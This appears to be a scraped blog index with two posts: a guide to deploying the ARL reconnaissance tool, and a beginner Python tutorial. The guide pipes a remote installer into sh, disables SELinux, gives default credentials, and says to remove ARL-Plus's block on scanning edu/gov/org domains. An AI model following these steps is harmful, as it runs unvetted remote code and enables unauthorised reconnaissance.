/etc/selinux/config# 将SELINUX=后面的值改为disabled 放行防火墙1234# 放行5003端口firewall-cmd --zone=public --add-port=5003/tcp --permanent #(--permanent 永久生效,没有此参数重启后失效)# 重新载入firewall-cmd --reload 重启机器:reboot 安装docker以及docker-compose如果安装过docker或者docker有问题的请先卸载 yum remove $(yum list installed | grep docker) 1234567891011# 安装docker的脚本curl -sSL https://get.daocloud.io/docker | sh# 启动dockersystemctl start docker# 开机自启dockersystemctl enable docker# 安装docker-composecurl -L http://get.daocloud.io/docker/compose/releases/download/v2.2.3/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose# 给权限chmod +x /usr/local/bin/docker-compose 安装ARL(二选一)方式一12345678910# 克隆git clone https://github.com/TophantTechnology/ARL# 进入目录cd ARL/docker/# 创建数据卷docker volume create arl_db# 拉取镜像docker-compose pull# 启动虚拟容器docker-compose up -d 方式二1234567891011121314# 创建目录mkdir docker_arl# 下载docker-compose配置文件wget -O docker_arl/docker.zip https://github.com/TophantTechnology/ARL/releases/download/v2.5.4/docker.zip# 进入目录cd docker_arl# 解压unzip -o docker.zip# 拉取镜像docker-compose pull# 创建数据卷docker volume create arl_db# 启动虚拟容器docker-compose up -d 方式三1234567891011# 源码安装# 仅仅适配了 centos 7 ,且灯塔安装目录为/opt/ARL 如果在其他目录可以创建软连接, 且安装了四个服务分别为arl-web, arl-worker, arl-worker-github, arl-schedulerwget https://raw.githubusercontent.com/TophantTechnology/ARL/master/misc/setup-arl.shchmod +x setup-arl.sh./setup-arl.sh# 服务管理/opt/ARL/misc/manage.shUsage: manage.sh [ stop | start | status | restart | disable | enable | log ]# 如停止服务/opt/ARL/misc/manage.sh stop 安装ARL-Plus(二选一)简介 ​\tARL-Plus是基于斗象灯塔ARL修改后的版本.相比原版,增加了OneForAll、中央数据库,修改了altDns. 我这里下载的是v2.7.1 安装部署12git clone https://github.com/ki9mu/ARL-plus-docker.gitcd ARL-plus-docker ​\t修改config-docker.yaml文件,因为配置文件中限制了edu,gov,org域名,根据需要将其删除即可,如下所示 12cd ARL-plus-docker-mainvim config-docker.yaml 也可以根据需要修改oneforall-config/setting.py文件,把自己需要的功能打开 1vim oneforall-config/setting.py 1234# 添加一个volumedocker volume create --name=arl_db# 拉取环境docker-compose up -d 添加指纹ARL-Finger-ADD项目自带的指纹项目: 1234567891011121314# 若使用EHole_magic项目的指纹文件,可增加到3508条指纹# 下载到本地 cd /opt/arlgit clone https://github.com/loecho-sec/ARL-Finger-ADD.git# 进入目录 cd ARL-Finger-ADD# 建议把指纹文件(finger.json)替换为比较新一些的EHole_magic指纹文件 # 访问链接下载指纹文件并替换原文件即可 wget -O finger.json https://raw.githubusercontent.com/lemonlove7/EHole_magic/main/finger.json # 连接arl python3 ARL-Finger-ADD.py https://10.10.20.6:5003/ admin arlpass 忘记密码重置当忘记了登录密码,可以执行下面的命令,然后使用 admin/admin123 就可以登录了. 1234docker exec -ti arl_mongodb mongo -u admin -p adminuse arldb.user.drop()db.user.insert({ username: 'admin', password: hex_md5('arlsalt!@#'+'admin123') }) 如何升级(仅原版) 如果有docker-compose.yml等文件有更新可以在Github Releases对应版本中下载docker.zip文件 如果没有可以手动修改.env中版本为指定版本 (v2.5.3以后的版本) 前期条件准备了,记得把旧版本容器停止和删除了再升级,可以docker ps -a查看是否有旧版本容器 然后就是更新镜像和启动了 123docker-compose downdocker-compose pull --no-paralleldocker-compose up -d 如何卸载Docker环境如何卸载并重装? 1234567891011121314# 如果忘记了原先的启动目录可以使用下面的命令进行容器停止和删除docker stop arl_webdocker stop arl_workerdocker stop arl_schedulerdocker stop arl_rabbitmqdocker stop arl_mongodbdocker rm arl_webdocker rm arl_workerdocker rm arl_schedulerdocker rm arl_rabbitmqdocker rm arl_mongodb# 卸载docker-compose down docker volume rm arl_db 然后删除当前目录的文件即可","tags":["信息安全","信息收集","Nday"],"categories":["Security"]},{"title":"Python-从入门到精通","path":"/2024/02/01/6b028c3f/","content":"总字符数: 40.23K 代码: 24.94K, 文本: 6.91K 预计阅读时间: 2.31 小时 Python程序的基本构成Python标识符标识符的定义 标识符(identifief)是指用来标识某个实体的一个符号,在不同的应用环境下有不同的含义.在计算机编程语言中,标识符是用户编程时使用的名字,用于给变量、常量、函数、语句块等命名,以建立起名称与使用之间的关系. 标识符的命名规则1234567 第一个字符必须是字母表中字母或下划线_. 标识符的其他的部分由字母、数字和下划线组成. 标识符对大小写敏感. 在Python3中,可以用中文作为变量名,非ASCI标识符也是允许的了 这些保留字不能用作常数或变数,或任何其他标识符名称 and exec not assert finally or break for pass class from print continue global raise def ifreturn del import try elif in while else is with except lambda yield 注释123Python中的注释有单行注释和多行注释单行注释以#开头多行注释用三个单引号'''或者三个双引号"""将注释括起来 数据类型 数字(Number)类型 12345python中数字有四种类型:整型、布尔型、浮点数和复数. int(整数),如1,只有一种整数类型int,表示为长整型,没有python2中的Long(长整型) bool (布尔),如True float(浮点数),如1.23、3E-2 complex(复数),如1+2j、1.1+2.2j 字符串(String) python中单引号和双引号使用完全相同。 12345678910111213141516171819202122232425262728293031# 多行字符串注释"""使用三个引号(单引号或双引号)可以创建多行字符串"""# 使用转义符"转义字符如\\ 表示换行"# 原始字符串r"在字符串前加r可使\\ 成为两个普通字符:\\ "# 字符串连接和重复"连接" + "字符串" # 输出 '连接字符串'"重复" * 3 # 输出 '重复重复重复'# 字符串的截取的语法格式如下:变量[头下标:尾下标] 案例: str = 'AnQuanNiu' print(str) #输出字符串 print(str[0:-1]) #输出第一个到倒数第二个的所有字符 print(str[0]) #输出第一个字符 print(str[2:5]) #输出从第三个开始到第五个的字符 print(str[2:]) #输出从第三个开始后的所有字符 print(str* 2) #输出字符串两次 print(str +'你好') #连接字符串 print('-------------------------') print('hello\\ AnQuanNiu') #使用反斜杠(\\)+n转义特殊字符 print(r'hello\\AnQuanNiu') #在字符电前面添加一个r,表示原始字符串,不会发生转义 空值 12345在Python中,可直接用True和False表示布尔值,也可通过布尔运算计算出来 print(True)True print(False)False print(3>2)ture print(3>5)False 类型转换以下几个内置的函数可以执行数据类型之间的转换.这些函数返回一个新的对象,表示转换的值. 函数 描述 int(x [,base]) 将x转换为一个整数 float(x) 将x转换到一个浮点数 complex(real [,imag]) 创建一个复数 str(x) 将对象 x 转换为字符串 repr(x) 将对象 x 转换为表达式字符串 eval(str) 用来计算在字符串中的有效Python表达式,并返回一个对象 tuple(s) 将序列 s 转换为一个元组 list(s) 将序列 s 转换为一个列表 set(s) 转换为可变集合 dict(d) 创建一个字典.d 必须是一个 (key, value)元组序列. frozenset(s) 转换为不可变集合 chr(x) 将一个整数转换为一个字符 ord(x) 将一个字符转换为它的整数值 hex(x) 将一个整数转换为一个十六进制字符串 oct(x) 将一个整数转换为一个八进制字符串 输入与输出 Print输出 print默认输出是换行的,如果要实现不换行需要在变量末尾加上end=”” Input输入 input(" 按下enter 键后退出.") 变量变量在程序中用一个变量名表示,变量名必须是字母、数字和下划线的组合,且不能以数字开头 123456789n = 1#变量n是一个整数a=1.0 #变量a是一个浮点数str ='Hello world!' #变量str是一个字符串question = True #变量question是一个布尔值可以把一个变量a赋值给另一个变量b,这个操作实际上是把变量b指向a所指向的数据,如a ='ABC'b= aa ='XYZ'print(b) 常量在Python中,通常用全部大写的变量名表示常量 123如: Pl= 3.1415926 注:用全部大写的变量名表示常量只是一个习惯上的用法 多行语句Python通常是一行写完一条语句,但如果语句很长,我们可以使用反斜杠()来实现多行语句,例如: 12345total = 'item_one' +\\ 'item_two' +\\ 'item_three'在[],{},或()中的多行语句,不需要使用反斜杠(\\),例如:total = ['item_one','item_two','item_three','item_four','item_five'] 格式化字符串与编码格式化字符串 python格式化字符串的使用方式类似于C语言,使用占位符来格式化字符串 12345678910111213141516171819202122232425 输出print('Hello,%s!'%'world') Hello , world!name ='Ming' age = 23print("Hello , %s.You are %s." %(name, age)) Hello,Ming.You are 23.常用占位符 占位符 替换内容 %d 整数 %f 浮点数 %s 字符串 %x 十六进制整数python常见的几种格式化字符串有r字符串、b字符串、f字符串. f字符串从Python 3.6开始加入标准库,也被称为"格式化字符串文字".与其他格式化方式相比,它们不仅更易读,更简洁,不易出错,而且速度更快 输出name = 'XiaoMing'age = 23print(f'Hello,{name}.You are {age}.') Hello ,XiaoMing.You are 23.print(f'Hello,{name}.You are {age}.') Hello , XiaoMing.You are 23.注:f字符串是在运行时进行渲染的,因此可以将任何有效的Python表达式放入其中编码当Python解释器读取源码时,为了让它按UTF-8编码读取,通常在文件开头处写上这两行:#!/usr/bin/env python3#-*- coding: utf-8-*-第一行是为了告诉Linux/OSx系统,这是一个Python可执行程序,Windows系统会忽略这个注释;第二行是为了告诉Python解释器,按照UTF-8编码读取源码.否则,源码中写的中文在输出时可能会有乱码. 列表 ​\t列表(list):列表由一组元素组成.每个元素可以存储不同类型的数据,如字符串、数字甚至元素. ​\t列表可以实现添加、删除和查找操作,元素的值可以被修改. ​\t列表是传统意义上的数组 列表用”[]”标识 123456789101112131415# 列表创建示例如下:list = ["test1",786,2.23,"test2",70.2]tinylist = [123,'test3']print (list) #输出完整列表print (list[0]) #输出列表的第一个元素print (list[1:3]) #输出第二个至第三个元素print (list[2:]) #输出从第三个开始至列表末尾的所有元素print (tinylist* 2) #输出列表两次print (list+ tinylist) #打印组合的列表tinylist.append(6) #将6添加到tinylist列表中print(tinylist)del tinylist[-1] #删除最后一个元素print(tinylist)tinylist[1]=6 #将下标为1的列表内容替换为6print(tinylist) 元组 ​\t元组(tuple)︰元组是另一个数据类型,类似于List(列表).元组往往代表一行数据,而元组中的元素代表不同的数据项. 可以把元组看做不可修改的数组_.元组用”()”标识 1234567891011# 创建元组示例如下:tuple_str=("你好",23,3.32)print (tuple) #输出完整元组 print (tuple[0] ) #输出元组的第一个元素 print (tuple[1:3]) #输出第二个至第四个(不包含)的元素 print (tuple[2:]) #输出从第三个开始至列表末尾的所有元素 print (tinytuple* 2) #输出元组两次 print (tuple + tinytuple) #打印组合的元组 tuple2 = tuple + tinytuple print(tuple2) del tuple2 #删除元组 字典 ​\t字典(dictionary) : python之中字典(dictionary)是除列表以外最灵活的内置数据结构类型. ​\t列表是有序的对象集合,字典是无序的对象集合. 两者之间的区别在于:字典当中的元素是通过键来存取 的,而不是通过偏移存取. 字典用”{}”标识.字典由索引(key)和它对应的值value组成. 123456789101112131415161718# 创建示例如下dict= {}dict['one'] = "This is one"dict[2]= "This is two"tinydict = {'name' : 'anguanniu','code':9527,'dept': 'sales'}print (dict['one']) #输出键为'one'的值print (dict[2]) #输出键为2的值print (tinydict) #输出完整的字典print (tinydict.keys()) #输出所有键print (tinydict.values()) #输出所有值tinydict['name'] = 'test' #将name的值修改为testprint(tinydict['name'])del tinydict['name'] #删除name的值print(tinydict)tinydict.clear() #清空tintdict字典print(tinydict)print(dict.keys())print(dict.values()) 集合 ​\t集合(set)是一个无序的不重复元素序列.可以使用大括号{}或者set()函数创建集合,注意:创建一个空集合必须用set()而不是{},因为{}是用来创建一个空字典. 12345678910111213141516171819202122232425# 创建示例如下:set1 = {'zhangsan','lisi','wanger' ,'wanger'}print(set1) # 这里演示的是去重功能a = 'zhangsan' in set1 #快速判断元素是否在集合内print(a)b = 'sdfsdf' in set1print(b)#下面展示两个集合间的运算c = set('abcd')print(c)d = set('abcdefg')print(d)print(c-d) #集合c中包含而集合d中不包含的元素print(d-c) #集合d中包含而集合c中不包含的元素print(c|d) #集合c或d中包含的所有元素print(c&d) #集合c和d中都包含了的元素print(c^d) #不同时包含于c和d的元素thisset = set(("BaiDu","TenXun","TaoBao"))print(thisset)thisset.add("XiaoMi") #将XiaoMi添加到thisset集合中print(thisset)thisset.remove("XiaoMi") ##将XiaoMi移除print(thisset)thisset.clear() #清空集合print(thisset) 条件结构if else12345#如果满足条件condition_1,则执行代码块statement_block_1否则执行statement_block_2if condition_1: statement_block_1else: statement_block_2 else if1234567891011if condition_1: statement_block_1elif condition_2: statement_block_2else: statement_block_3注意:1.Python中用elif代替了else if,所以if语句的关键字为: if-elif-else2.每个条件后面要使用冒号:,表示接下来是满足条件后要执行的语句块.3.使用缩进来划分语句块,相同缩进数的语句在一起组成一个语句块.4.在Python中没有switch - case语句. 循环结构1234for循环(9*9乘法口决表)for i in range(1,10): for j in range(1,i+1): print(j,'*',i,'=',(j*i),end='\\t') 函数函数的定义1234567891011121314151617定义语法def\tdef 函数名(参数列表) 函数体函数的参数 函数的参数是指,我们在定义函数的时候,可以传输数据进来,传输的数据就叫参数.函数的调用写函数名字,括号中带要处理的参数例子: dec(1,2)函数中的return与输出不一样,只允许return一个返回值(有多个则返回第一个)输出可以输出很多语句注意,必须按照缩进来写函数例子: def dec (a,b) return a-b 一个函数的参数可以是多个的,或者不带参数的 例子: def output() : def plus (a,b) :def plus (a,b,c)函数的参数输入,可以通过外部输入修改赋值顺序例子: def plus (a,b):调用: plus(b=1,a=2) 内置函数1234567891011type() :读取函数的变量类型int()∶将参数变量类型修改为整型float ()∶将参数变量的类型修改为浮点型str():将参数变量的类型修改为字符串类型max ()︰取参数的最大值min()∶取参数的最小值abs () ︰取参数的绝对值sum ()︰取参数的总和值round ():取参数的小数长度x**y: x的y次方,等同于pow (x,y)函数len()∶计算参数中有多少字符 标准模块和第三方模块12345# 自带模块sys time os calendar urllib json re math decimal shutil logging tkinter#第三方模块pymysql cx_Oracle pygame PIL xlrd xlwt selenium numpy 异常和程序调试1234567891011try: 程序执行语句块# 捕获所有错误except Exception as e: 异常处理语句块else: 无异常时处理语句块finally: 必须的处理语句块 例如: mysql.close() 异常 说明 AttributeError 试图访问一个对象没有的属性 IOError 输入/输出异常 ImportError 无法引入模块或包;多是路径问题或名称错误 IndentationError 缩进错误 IndexError 下标索引错误 KeyError 试图访问不存在的键 KeyboardInterrupt Ctrl+C被按下,键盘终止输入 NameError 使用未定义的变量 SyntaxError 语法错误 TypeError 传入对象的类型与要求不符合 UnboundLocalError 试图访问一个还未被设置的局部变量 ValueError 传入一个调用者不期望的值,即使值的类型是正确的 文件和目录操作文件与持久化常用的文件分类 配置文件 数据文件 日志文件 数据库文件 声音和图像文件 文件的读写 **相对路径:**以引用文件之网页所在位置为参考基础,而建立出的目录路径.因此,当保存于不同目录的网页引用同一个文件时,所使用的路径将不相同,故称之为相对. **绝对路径:**以Web 站点根目录为参考基础的目录路径.之所以称为绝对,意指当所有网页引用同一个文件时,所使用的路径都是一样的.其实绝对路径与相对路径的不同处,只在于描述目录路径时,所采用的参考点不同.由于对网站上所有文件而言,根目录这个参考点对所有文件都是一样的,因此,运用以根目录为参考点的路径描述方式才会被称之为绝对路径 1234567891011121314151617181920212223242526272829303132# 文件读取的过程: 1.打开文件 2.读取文件 3.关闭文件# r:read# w:write 默认只写的话会清空文档已有的内容# a+:读写# r+ 如果文件不存在则会报错# w+ 如果文件不存在则会创建文件# rb 以二进制格式打开一个文件用于只读# "." -- 代表目前所在的目录,相对路径. 如:<a href="./abc">文本</a> 或 <img src="./abc" /># ".." -- 代表上一层目录,相对路径. 如:<a href="../abc">文本</a> 或 <img src="../abc" /># "../../" -- 代表的是上一层目录的上一层目录,相对路径. 如:<img src="../../abc" /># "/" -- 代表根目录,绝对路径. 如:<a href="/abc">文本</a> 或 <img src="/abc" /># "D:/abc/" -- 代表根目录,绝对路径.with open('./data.txt', 'r') as file: # 带参read,只读5个字符 print(file.read(5)) # 打开文档从第6个字符开始读 # file.seek(6) # print(file.read(6)) # 打印当前文件是否可读.成功为True 反之False print(file.readable()) # 打印当前文件是否可写.成功为True 反之False print(file.writable()) # 读取所有行 datas = file.readlines() # datas是列表 print(type(datas)) print(datas) # 使用遍历列表的方法读取 for data in datas: # 打印读取的每一行 文本文档默认有 换行符,我们使用replace将换行符替换为空字符串 print(data.replace(' ', '')) 常用配置文件的读取123456789mysql.config: # this is database config filedb_Ip=127.0.0.1db_Port=3306db_Name=testdb_User=rootdb_Password=root# config end 12345678910111213141516171819MysqlConfig.py: ConfigData = {}with open('./mysql.config', 'r') as file: # 读取所有行 datas = file.readlines() for data in datas: # 如果数据为#开头则表示为注释,不进行读取 if data.startswith('#'): continue key = data.split('=')[0] value = data.split('=')[1].replace(' ', '') ConfigData[key] = valueif __name__ == '__main__': print(ConfigData) 1234567891011test.py# 如果想从其他文件中引入MysqlConfig可以使用引入方式#引入ch15文件夹下的MysqlConfig.py文件中的MysqlConfig变量from ch15.MysqlConfig import ConfigDataprint(ConfigData)print('数据库IP:', ConfigData['db_Ip'])print('数据库端口:', ConfigData['db_Port'])print('数据表名称:', ConfigData['db_Name'])print('数据库用户:', ConfigData['db_User'])print('数据库密码:', ConfigData['db_Password']) 文件的写入1234567891011121314151617181920212223242526# 默认的write是不会换行的# w:write 覆盖,每次写入都会清空后再写入# a:add 追加with open('./data_Write.txt', 'w') as file: # #单行写入 # data = 'hello python' # file.write(data) # data = 'i am JiangJiYue' # file.write(data) # 多行写入 datas = ['hello python', 'i am JiangJiYue', 'jiangjiyue.github.io'] # 使用推导式在每一行后面添加换行符但是会造成总是在最后空一行 file.writelines([data+' ' for data in datas]) # 字符串连接方式,不会造成最后总是空一行 # file.writelines(' '.join(datas))with open('./data_Write.txt', 'a') as file: # #单行写入 # data = 'hello python' # file.write(data) # data = 'i am JiangJiYue' # file.write(data) # 多行写入 datas = ['hello python', 'i am JiangJiYue', 'jiangjiyue.github.io'] # 使用推导式在每一行后面添加换行符但是会造成总是在最后空一行 file.writelines([data+' ' for data in datas]) 字符编码问题123456789101112131415# 解决中文编码问题# 机写机读没问题with open('encoding.txt', 'w') as file: file.write('人生苦短,我用Python')with open('encoding.txt', 'r') as file: print(file.readline())# 手写机读就会出现编码错误with open('encoding_cn.txt', 'r') as file: print(file.readline()) 目录及其他操作os常用方法 方法 描述 os.access(path, mode) 检验权限模式 os.chdir(path) 改变当前工作目录 os.chflags(path, flags) 设置路径的标记为数字标记. os.chmod(path, mode) 更改权限 os.chown(path, uid, gid) 更改文件所有者 os.chroot(path) 改变当前进程的根目录 os.close(fd) 关闭文件描述符 fd os.closerange(fd_low, fd_high) 关闭所有文件描述符,从 fd_low (包含) 到 fd_high (不包含), 错误会忽略 os.dup(fd) 复制文件描述符 fd os.dup2(fd, fd2) 将一个文件描述符 fd 复制到另一个 fd2 os.fchdir(fd) 通过文件描述符改变当前工作目录 os.fchmod(fd, mode) 改变一个文件的访问权限,该文件由参数fd指定,参数mode是Unix下的文件访问权限. os.fchown(fd, uid, gid) 修改一个文件的所有权,这个函数修改一个文件的用户ID和用户组ID,该文件由文件描述符fd指定. os.fdatasync(fd) 强制将文件写入磁盘,该文件由文件描述符fd指定,但是不强制更新文件的状态信息. [os.fdopen(fd[, mode[, bufsize]])](https://www.runoob.com/python/os-fdopen.html) 通过文件描述符 fd 创建一个文件对象,并返回这个文件对象 os.fpathconf(fd, name) 返回一个打开的文件的系统配置信息.name为检索的系统配置的值,它也许是一个定义系统值的字符串,这些名字在很多标准中指定(POSIX.1, Unix 95, Unix 98, 和其它). os.fstat(fd) 返回文件描述符fd的状态,像stat(). os.fstatvfs(fd) 返回包含文件描述符fd的文件的文件系统的信息,像 statvfs() os.fsync(fd) 强制将文件描述符为fd的文件写入硬盘. os.ftruncate(fd, length) 裁剪文件描述符fd对应的文件, 所以它最大不能超过文件大小. os.getcwd() 返回当前工作目录 os.getcwdu() 返回一个当前工作目录的Unicode对象 os.isatty(fd) 如果文件描述符fd是打开的,同时与tty(-like)设备相连,则返回true, 否则False. os.lchflags(path, flags) 设置路径的标记为数字标记,类似 chflags(),但是没有软链接 os.lchmod(path, mode) 修改连接文件权限 os.lchown(path, uid, gid) 更改文件所有者,类似 chown,但是不追踪链接. os.link(src, dst) 创建硬链接,名为参数 dst,指向参数 src os.listdir(path) 返回path指定的文件夹包含的文件或文件夹的名字的列表. os.lseek(fd, pos, how) 设置文件描述符 fd当前位置为pos, how方式修改: SEEK_SET 或者 0 设置从文件开始的计算的pos; SEEK_CUR或者 1 则从当前位置计算; os.SEEK_END或者2则从文件尾部开始. 在unix,Windows中有效 os.lstat(path) 像stat(),但是没有软链接 os.major(device) 从原始的设备号中提取设备major号码 (使用stat中的st_dev或者st_rdev field). os.makedev(major, minor) 以major和minor设备号组成一个原始设备号 os.makedirs(path,mode) 递归文件夹创建函数.像mkdir(), 但创建的所有intermediate-level文件夹需要包含子文件夹. os.minor(device) 从原始的设备号中提取设备minor号码 (使用stat中的st_dev或者st_rdev field ). os.mkdir(path,[mode]) 以数字mode的mode创建一个名为path的文件夹.默认的 mode 是 0777 (八进制). os.mkfifo(path,[mode]) 创建命名管道,mode 为数字,默认为 0666 (八进制) os.mknod(filename,mode=0600,device) 创建一个名为filename文件系统节点(文件,设备特别文件或者命名pipe). os.open(file,flags,[mode]) 打开一个文件,并且设置需要的打开选项,mode参数是可选的 os.openpty() 打开一个新的伪终端对.返回 pty 和 tty的文件描述符. os.pathconf(path, name) 返回相关文件的系统配置信息. os.pipe() 创建一个管道. 返回一对文件描述符(r, w) 分别为读和写 [os.popen(command[, mode[, bufsize]])](https://www.runoob.com/python/os-popen.html) 从一个 command 打开一个管道 os.read(fd, n) 从文件描述符 fd 中读取最多 n 个字节,返回包含读取字节的字符串,文件描述符 fd对应文件已达到结尾, 返回一个空字符串. os.readlink(path) 返回软链接所指向的文件 os.remove(path) 删除路径为path的文件.如果path 是一个文件夹,将抛出OSError; 查看下面的rmdir()删除一个 directory. os.removedirs(path) 递归删除目录. os.rename(src, dst) 重命名文件或目录,从 src 到 dst os.renames(old, new) 递归地对目录进行更名,也可以对文件进行更名. os.rmdir(path) 删除path指定的空目录,如果目录非空,则抛出一个OSError异常. os.stat(path) 获取path指定的路径的信息,功能等同于C API中的stat()系统调用. os.stat_float_times(newvalue) 决定stat_result是否以float对象显示时间戳 os.statvfs(path) 获取指定路径的文件系统统计信息 os.symlink(src, dst) 创建一个软链接 os.tcgetpgrp(fd) 返回与终端fd(一个由os.open()返回的打开的文件描述符)关联的进程组 os.tcsetpgrp(fd, pg) 设置与终端fd(一个由os.open()返回的打开的文件描述符)关联的进程组为pg. [os.tempnam([dir[, prefix]])](https://www.runoob.com/python/os-tempnam.html) 返回唯一的路径名用于创建临时文件. os.tmpfile() 返回一个打开的模式为(w+b)的文件对象 .这文件对象没有文件夹入口,没有文件描述符,将会自动删除. os.tmpnam() 为创建一个临时文件返回一个唯一的路径 os.ttyname(fd) 返回一个字符串,它表示与文件描述符fd 关联的终端设备.如果fd 没有与终端设备关联,则引发一个异常. os.unlink(path) 删除文件路径 os.utime(path, times) 返回指定的path文件的访问和修改的时间. [os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])](https://www.runoob.com/python/os-walk.html ) 输出在文件夹中的文件名通过在树中游走,向上或者向下. os.write(fd, str) 写入字符串到文件描述符 fd中. 返回实际写入的字符串长度 os.path常用方法: 方法 说明 os.path.abspath(path) 返回绝对路径 os.path.basename(path) 返回文件名 os.path.commonprefix(list) 返回list(多个路径)中,所有path共有的最长的路径 os.path.dirname(path) 返回文件路径 os.path.exists(path) 如果路径 path 存在,返回 True;如果路径 path 不存在,返回 False. os.path.lexists 路径存在则返回True,路径损坏也返回True os.path.expanduser(path) 把path中包含的””和”user”转换成用户目录 os.path.expandvars(path) 根据环境变量的值替换path中包含的”{name}” os.path.getatime(path) 返回最近访问时间(浮点型秒数) os.path.getmtime(path) 返回最近文件修改时间 os.path.getctime(path) 返回文件 path 创建时间 os.path.getsize(path) 返回文件大小,如果文件不存在就返回错误 os.path.isabs(path) 判断是否为绝对路径 os.path.isfile(path) 判断路径是否为文件 os.path.isdir(path) 判断路径是否为目录 os.path.islink(path) 判断路径是否为链接 os.path.ismount(path) 判断路径是否为挂载点 os.path.join(path1[, path2[, …]]) 把目录和文件名合成一个路径 os.path.normcase(path) 转换path的大小写和斜杠 os.path.normpath(path) 规范path字符串形式 os.path.realpath(path) 返回path的真实路径 os.path.relpath(path[, start]) 从start开始计算相对路径 os.path.samefile(path1, path2) 判断目录或文件是否相同 os.path.sameopenfile(fp1, fp2) 判断fp1和fp2是否指向同一文件 os.path.samestat(stat1, stat2) 判断stat tuple stat1和stat2是否指向同一个文件 os.path.split(path) 把路径分割成 dirname 和 basename,返回一个元组 os.path.splitdrive(path) 一般用在 windows 下,返回驱动器名和路径组成的元组 os.path.splitext(path) 分割路径,返回路径名和文件扩展名的元组 os.path.splitunc(path) 把路径分割为加载点与文件 os.path.walk(path, visit, arg) 遍历path,进入每个目录都调用visit函数,visit函数必须有3个参数(arg, dirname, names),dirname表示当前目录的目录名,names代表当前目录下的所有文件名,args则为walk的第三个参数 os.path.supports_unicode_filenames 设置是否支持unicode路径名 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849# -*- coding:utf-8 -*-"""作者:kill3r日期:2022年06月10日Blog:jiangjiyue.github.io"""import osimport shutil# 判断data.txt是否存在print(os.path.exists('data.txt'))# 获取当前路径print(os.getcwd())dirpath = 'test'# 删除文件,删除不存在的文件会报错os.remove('1.txt')# 如果目录不存在则创建目录if not os.path.exists(dirpath): # 创建test目录 # os.mkdir不能创建多级目录, # print(os.mkdir(dirpath)) # 创建多级目录 os.makedirs(r'd:\\test3\\test')else: # 只能删除空目录,如果非空请使用shutil.rmtree os.rmdir(dirpath)if os.path.exists('test3'): # 删除非空目录 print('非空目录删除:', shutil.rmtree('test3'))datas = os.listdir((os.getcwd()))for data in datas: print(data)# 另一种强大遍历目录和文件的方法# 强烈推荐for files in os.walk(os.getcwd()): # 可以使用序列解包 print(files)for dirpath, subdirs, files in os.walk(os.getcwd()): for name in subdirs: print('目录:', os.path.join(dirpath,name)) for name in files: print('文件', os.path.join(dirpath, name)) 数据库操作数据库DataBase Database是按照数据结构来组织、存储和管理数据的仓库,它产生于距今六十多年前,随着信息技术和市场的发展,特别是二十世纪九十年代以后,数据管理不再仅仅是存储和管理数据,而转变成用户所需要的各种数据管理的方式.数据库有很多种类型,从最简单的存储有各种数据的表格到能够进行海量数据存储的大型数据库系统都在各个方面得到了广泛的应用. 在信息化社会,充分有效地管理和利用各类信息资源,是进行科学研究和决策管理的前提条件.数据库技术是管理信息系统、办公自动化系统、决策支持系统等各类信息系统的核心部分,是进行科学研究和决策管理的重要技术手段. https://jiangjiyue.github.io/categories/%E5%AE%89%E5%85%A8%E8%BF%90%E7%BB%B4/%E6%95%B0%E6%8D%AE%E5%BA%93/https://jiangjiyue.github.io/categories/%E5%AE%89%E5%85%A8%E8%BF%90%E7%BB%B4/%E6%95%B0%E6%8D%AE%E5%BA%93/ 数据库编程接口12# Python DataBase API 2.0# 连接、事务(提交、回滚)、游标 SQLite123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113# -*- coding:utf-8 -*-"""作者:kali日期:2022年06月10日Blog:jiangjiyue.github.io"""# sqliteimport sqlite3# 1.连接数据库 2.拿到游标 3.执行sql 4.关闭游标 5.关闭数据库的连接def createtable(): # 连接数据库 conn = sqlite3.connect('sqlite.db') # 拿到游标 cursor = conn.cursor() # 执行sql # 创建数据表,只需运行一次 sql_str = 'create table sqlite (id int(11) primary key ,name varchar(50))' cursor.execute(sql_str) # 关闭游标&连接 cursor.close() conn.close()def insertsqlite(): # 连接数据库 conn = sqlite3.connect('sqlite.db') # 拿到游标 cursor = conn.cursor() # 执行sql sql_str = 'insert into sqlite (id,name) values(1,"kali")' cursor.execute(sql_str) # 关闭游标&连接 cursor.close() # 数据库提交,才会写入,创建表不需要conn.commit conn.commit() conn.close()def selectsqlite(): # 连接数据库 conn = sqlite3.connect('sqlite.db') # 拿到游标 cursor = conn.cursor() sql_str = 'select * from sqlite' cursor.execute(sql_str) # 获取结果 """ fetchall 获取所有数据 return list fetchone 获取一行数据 """ result = cursor.fetchone() print(result) cursor.close() conn.commit() conn.close()def updatesqlite(): # 连接数据库 conn = sqlite3.connect('sqlite.db') # 拿到游标 cursor = conn.cursor() sql_str = 'update sqlite set name="kali" where id = 1' cursor.execute(sql_str) cursor.close() conn.commit() conn.close()def delsqlite(): # 连接数据库 conn = sqlite3.connect('sqlite.db') # 拿到游标 cursor = conn.cursor() sql_str = 'delete from sqlite where id = 1' cursor.execute(sql_str) cursor.close() conn.commit() conn.close()# 数据捕获错误实例def caputeerror(): try: # 连接数据库 conn = sqlite3.connect('sqlite.db') # 拿到游标 cursor = conn.cursor() # 执行sql sql_str = 'insert into sqlite (id,name) values(1,"kali")' cursor.execute(sql_str) except Exception as e: # 事务回滚 conn.rollback() else: # 数据库提交,才会写入,创建表不需要conn.commit conn.commit() finally: # 关闭游标&连接 cursor.close() conn.close()if __name__ == '__main__': # 查询数据函数 selectsqlite() # 更新数据函数 updatesqlite() selectsqlite() delsqlite() selectsqlite() MySqlpip install pymysql安装mysql扩展 1234567891011121314151617181920212223242526272829303132333435# -*- coding:utf-8 -*-"""作者:kali日期:2022年06月10日Blog:jiangjiyue.github.io"""import pymysqldef selectmysql(): db_ip = '192.168.1.10' db_port = 3306 db_name = 'pycourse' db_user = 'pycourse' db_password = 'pycourse' # 连接数据库 conn = pymysql.connect(host=db_ip,port=db_port,database=db_name,user=db_user,password=db_password) # 拿到游标 cursor = conn.cursor() sql_str = 'select * from pycourse' cursor.execute(sql_str) # 获取结果 """ fetchall 获取所有数据 return list fetchone 获取一行数据 """ result = cursor.fetchone() print(result) cursor.close() conn.commit() conn.close()if __name__ == '__main__': selectmysql() GUI图形用户接口GUI简介 图形用户界面(Graphical User Interface,简称 GUI,又称图形用户接口)是指采用图形方式显示的计算机操作用户界面 